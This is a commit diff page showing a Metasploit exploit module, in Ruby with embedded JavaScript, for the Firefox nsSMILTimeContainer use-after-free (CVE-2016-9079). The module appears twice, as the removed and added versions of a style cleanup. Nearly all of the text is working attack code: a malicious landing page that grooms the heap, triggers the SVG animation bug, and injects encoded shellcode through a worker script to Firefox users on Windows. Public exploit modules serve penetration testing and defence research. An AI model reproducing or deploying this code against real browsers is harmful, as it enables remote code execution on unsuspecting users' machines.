address msftidy complaints
William Webb
parent
2513b5bbe5
commit
d8f04ccc18
|
|
@ -1,281 +1,281 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
|
||||
'Description' => %q{
|
||||
This module exploits an out-of-bounds indexing/use-after-free condition present in
|
||||
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
|
||||
on Microsoft Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous gaijin', # Original research/exploit
|
||||
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Mozilla Firefox',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "thread",
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-9079' ],
|
||||
[ 'Bugzilla', '1321066' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'DisclosureDate' => "May 10 2016",
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_html(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
|
||||
base_uri = "#{get_resource.chomp('/')}"
|
||||
|
||||
# stuff that gets adjusted alot during testing
|
||||
|
||||
defrag_x = %Q~
|
||||
for (var i = 0; i < 0x4000; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
defrag_y = %Q~
|
||||
for (var i = 0x4401; i < heap80.length; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
|
||||
js = %Q~
|
||||
var worker = new Worker('#{base_uri}/worker.js');
|
||||
var svgns = 'http://www.w3.org/2000/svg';
|
||||
var heap80 = new Array(0x5000);
|
||||
var heap100 = new Array(0x5000);
|
||||
var block80 = new ArrayBuffer(0x80);
|
||||
var block100 = new ArrayBuffer(0x100);
|
||||
var sprayBase = undefined;
|
||||
var arrBase = undefined;
|
||||
|
||||
var animateX = undefined;
|
||||
var containerA = undefined;
|
||||
|
||||
var milestone_offset = 0x90;
|
||||
|
||||
var $ = function(id) { return document.getElementById(id); }
|
||||
|
||||
var heap = function()
|
||||
{
|
||||
var u32 = new Uint32Array(block80)
|
||||
|
||||
u32[4] = arrBase - milestone_offset;
|
||||
|
||||
u32[0xa] = arrBase + 0x1000 - milestone_offset;
|
||||
|
||||
u32[0x10] = arrBase + 0x2000 - milestone_offset;
|
||||
|
||||
var x = document.createElementNS(svgns, 'animate')
|
||||
var svg = document.createElementNS(svgns, 'svg')
|
||||
|
||||
svg.appendChild(x)
|
||||
svg.appendChild(x.cloneNode(true))
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
var node = svg.cloneNode(true);
|
||||
node.setAttribute('id', 'svg' + i)
|
||||
document.body.appendChild(node);
|
||||
}
|
||||
#{defrag_x}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
heap80[i + 0x3000] = block80.slice(0)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < heap100.length; i++)
|
||||
heap100[i] = block100.slice(0)
|
||||
|
||||
#{defrag_y}
|
||||
|
||||
for (var i = 0x100; i < 0x400; i++)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
var exploit = function()
|
||||
{
|
||||
heap();
|
||||
|
||||
animateX.setAttribute('begin', '59s')
|
||||
animateX.setAttribute('begin', '58s')
|
||||
animateX.setAttribute('begin', '10s')
|
||||
animateX.setAttribute('begin', '9s')
|
||||
|
||||
// money shot
|
||||
|
||||
containerA.pauseAnimations();
|
||||
}
|
||||
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
window.setTimeout(function()
|
||||
{
|
||||
worker.terminate();
|
||||
document.body.innerHTML = '';
|
||||
document.getElementsByTagName('head')[0].innerHTML = '';
|
||||
document.body.setAttribute('onload', '')
|
||||
document.write('<blink>')
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
arrBase = e.data;
|
||||
exploit();
|
||||
}
|
||||
|
||||
|
||||
var idGenerator = function()
|
||||
{
|
||||
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
||||
}
|
||||
|
||||
|
||||
var craftDOM = function()
|
||||
{
|
||||
containerA = document.createElementNS(svgns, 'svg')
|
||||
var containerB = document.createElementNS(svgns, 'svg');
|
||||
|
||||
animateX = document.createElementNS(svgns, 'animate')
|
||||
var animateA = document.createElementNS(svgns, 'animate')
|
||||
var animateB = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var animateC = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var idX = idGenerator();
|
||||
var idA = idGenerator();
|
||||
var idB = idGenerator();
|
||||
var idC = idGenerator();
|
||||
|
||||
animateX.setAttribute('id', idX);
|
||||
animateA.setAttribute('id', idA);
|
||||
animateA.setAttribute('end', '50s');
|
||||
animateB.setAttribute('id', idB);
|
||||
animateB.setAttribute('begin', '60s');
|
||||
animateB.setAttribute('end', idC + '.end');
|
||||
animateC.setAttribute('id', idC);
|
||||
animateC.setAttribute('begin', '10s');
|
||||
animateC.setAttribute('end', idA + '.end');
|
||||
|
||||
containerA.appendChild(animateX)
|
||||
containerA.appendChild(animateA)
|
||||
containerA.appendChild(animateB)
|
||||
|
||||
containerB.appendChild(animateC)
|
||||
|
||||
document.body.appendChild(containerA);
|
||||
document.body.appendChild(containerB);
|
||||
}
|
||||
window.onload = craftDOM;
|
||||
~
|
||||
|
||||
# If you want to change the appearance of the landing page, do it here
|
||||
|
||||
html = %Q~
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
~
|
||||
|
||||
if datastore['UsePostHTML']
|
||||
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
|
||||
c = f.read
|
||||
html = html.gsub("<blink>", c)
|
||||
else
|
||||
html = html.gsub("<blink>", "")
|
||||
end
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def worker_js(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload = Rex::Text.to_unescape(p, arch)
|
||||
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
|
||||
c = wt.read
|
||||
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
|
||||
c = c.gsub("NOPSGOHERE", "\u9090")
|
||||
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def is_ff_on_windows(user_agent)
|
||||
target_hash = fingerprint_user_agent(user_agent)
|
||||
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Got request: #{request.uri}")
|
||||
print_status("From: #{request.headers['User-Agent']}")
|
||||
if (!is_ff_on_windows(request.headers['User-Agent']))
|
||||
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
|
||||
send_not_found(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /worker\.js/
|
||||
print_status("Sending worker thread Javascript ...")
|
||||
worker_js(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /index\.html/ or request.uri =~ /\//
|
||||
|
||||
print_status("Sending exploit HTML ...")
|
||||
exploit_html(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
'Name' => "Firefox nsSMILTimeContainer::NotifyTimeChange() RCE",
|
||||
'Description' => %q{
|
||||
This module exploits an out-of-bounds indexing/use-after-free condition present in
|
||||
nsSMILTimeContainer::NotifyTimeChange() across numerous versions of Mozilla Firefox
|
||||
on Microsoft Windows.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Anonymous Gaijin', # Original research/exploit
|
||||
'William Webb <william_webb[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Mozilla Firefox',
|
||||
{
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => "thread",
|
||||
'InitialAutoRunScript' => 'migrate -f'
|
||||
},
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-9079' ],
|
||||
[ 'Bugzilla', '1321066' ]
|
||||
],
|
||||
'Arch' => ARCH_X86,
|
||||
'DisclosureDate' => "May 10 2016",
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('UsePostHTML', [ true, 'Rewrite page with arbitrary HTML after successful exploitation. NOTE: if set to true, you should probably rewrite data/exploits/ff_smil_uaf/post.html to something useful!', false ]),
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def exploit_html(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload_final = Rex::Text.to_unescape(p, arch, prefix='\\u')
|
||||
base_uri = "#{get_resource.chomp('/')}"
|
||||
|
||||
# stuff that gets adjusted alot during testing
|
||||
|
||||
defrag_x = %Q~
|
||||
for (var i = 0; i < 0x4000; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
defrag_y = %Q~
|
||||
for (var i = 0x4401; i < heap80.length; i++)
|
||||
heap80[i] = block80.slice(0)
|
||||
~
|
||||
|
||||
js = %Q~
|
||||
var worker = new Worker('#{base_uri}/worker.js');
|
||||
var svgns = 'http://www.w3.org/2000/svg';
|
||||
var heap80 = new Array(0x5000);
|
||||
var heap100 = new Array(0x5000);
|
||||
var block80 = new ArrayBuffer(0x80);
|
||||
var block100 = new ArrayBuffer(0x100);
|
||||
var sprayBase = undefined;
|
||||
var arrBase = undefined;
|
||||
|
||||
var animateX = undefined;
|
||||
var containerA = undefined;
|
||||
|
||||
var milestone_offset = 0x90;
|
||||
|
||||
var $ = function(id) { return document.getElementById(id); }
|
||||
|
||||
var heap = function()
|
||||
{
|
||||
var u32 = new Uint32Array(block80)
|
||||
|
||||
u32[4] = arrBase - milestone_offset;
|
||||
|
||||
u32[0xa] = arrBase + 0x1000 - milestone_offset;
|
||||
|
||||
u32[0x10] = arrBase + 0x2000 - milestone_offset;
|
||||
|
||||
var x = document.createElementNS(svgns, 'animate')
|
||||
var svg = document.createElementNS(svgns, 'svg')
|
||||
|
||||
svg.appendChild(x)
|
||||
svg.appendChild(x.cloneNode(true))
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
var node = svg.cloneNode(true);
|
||||
node.setAttribute('id', 'svg' + i)
|
||||
document.body.appendChild(node);
|
||||
}
|
||||
#{defrag_x}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
heap80[i + 0x3000] = block80.slice(0)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < 0x400; i++)
|
||||
{
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
for (var i = 0; i < heap100.length; i++)
|
||||
heap100[i] = block100.slice(0)
|
||||
|
||||
#{defrag_y}
|
||||
|
||||
for (var i = 0x100; i < 0x400; i++)
|
||||
$('svg' + i).appendChild(x.cloneNode(true))
|
||||
}
|
||||
|
||||
var exploit = function()
|
||||
{
|
||||
heap();
|
||||
|
||||
animateX.setAttribute('begin', '59s')
|
||||
animateX.setAttribute('begin', '58s')
|
||||
animateX.setAttribute('begin', '10s')
|
||||
animateX.setAttribute('begin', '9s')
|
||||
|
||||
// money shot
|
||||
|
||||
containerA.pauseAnimations();
|
||||
}
|
||||
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
worker.onmessage = function(e)
|
||||
{
|
||||
window.setTimeout(function()
|
||||
{
|
||||
worker.terminate();
|
||||
document.body.innerHTML = '';
|
||||
document.getElementsByTagName('head')[0].innerHTML = '';
|
||||
document.body.setAttribute('onload', '')
|
||||
document.write('<blink>')
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
arrBase = e.data;
|
||||
exploit();
|
||||
}
|
||||
|
||||
|
||||
var idGenerator = function()
|
||||
{
|
||||
return 'id' + (((1+Math.random())*0x10000)|0).toString(16).substring(1);
|
||||
}
|
||||
|
||||
|
||||
var craftDOM = function()
|
||||
{
|
||||
containerA = document.createElementNS(svgns, 'svg')
|
||||
var containerB = document.createElementNS(svgns, 'svg');
|
||||
|
||||
animateX = document.createElementNS(svgns, 'animate')
|
||||
var animateA = document.createElementNS(svgns, 'animate')
|
||||
var animateB = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var animateC = document.createElementNS(svgns, 'animate')
|
||||
|
||||
var idX = idGenerator();
|
||||
var idA = idGenerator();
|
||||
var idB = idGenerator();
|
||||
var idC = idGenerator();
|
||||
|
||||
animateX.setAttribute('id', idX);
|
||||
animateA.setAttribute('id', idA);
|
||||
animateA.setAttribute('end', '50s');
|
||||
animateB.setAttribute('id', idB);
|
||||
animateB.setAttribute('begin', '60s');
|
||||
animateB.setAttribute('end', idC + '.end');
|
||||
animateC.setAttribute('id', idC);
|
||||
animateC.setAttribute('begin', '10s');
|
||||
animateC.setAttribute('end', idA + '.end');
|
||||
|
||||
containerA.appendChild(animateX)
|
||||
containerA.appendChild(animateA)
|
||||
containerA.appendChild(animateB)
|
||||
|
||||
containerB.appendChild(animateC)
|
||||
|
||||
document.body.appendChild(containerA);
|
||||
document.body.appendChild(containerB);
|
||||
}
|
||||
window.onload = craftDOM;
|
||||
~
|
||||
|
||||
# If you want to change the appearance of the landing page, do it here
|
||||
|
||||
html = %Q~
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8"/>
|
||||
<script>
|
||||
#{js}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
~
|
||||
|
||||
if datastore['UsePostHTML']
|
||||
f = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "post.html"), "rb")
|
||||
c = f.read
|
||||
html = html.gsub("<blink>", c)
|
||||
else
|
||||
html = html.gsub("<blink>", "")
|
||||
end
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def worker_js(cli)
|
||||
p = payload.encoded
|
||||
arch = Rex::Arch.endian(target.arch)
|
||||
payload = Rex::Text.to_unescape(p, arch)
|
||||
wt = File.open(File.join(Msf::Config.data_directory, "exploits", "firefox_smil_uaf", "worker.js"), "rb")
|
||||
c = wt.read
|
||||
c = c.gsub("INSERTSHELLCODEHEREPLZ", payload)
|
||||
c = c.gsub("NOPSGOHERE", "\u9090")
|
||||
send_response(cli, c, { 'Content-Type' => 'application/javascript', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', 'Connection' => 'close' })
|
||||
end
|
||||
|
||||
def is_ff_on_windows(user_agent)
|
||||
target_hash = fingerprint_user_agent(user_agent)
|
||||
if target_hash[:ua_name] !~ /Firefox/ or target_hash[:os_name] !~ /Windows/
|
||||
return false
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
def on_request_uri(cli, request)
|
||||
print_status("Got request: #{request.uri}")
|
||||
print_status("From: #{request.headers['User-Agent']}")
|
||||
if (!is_ff_on_windows(request.headers['User-Agent']))
|
||||
print_error("Unsupported user agent: #{request.headers['User-Agent']}")
|
||||
send_not_found(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /worker\.js/
|
||||
print_status("Sending worker thread Javascript ...")
|
||||
worker_js(cli)
|
||||
return
|
||||
end
|
||||
if request.uri =~ /index\.html/ or request.uri =~ /\//
|
||||
|
||||
print_status("Sending exploit HTML ...")
|
||||
exploit_html(cli)
|
||||
close_client(cli)
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue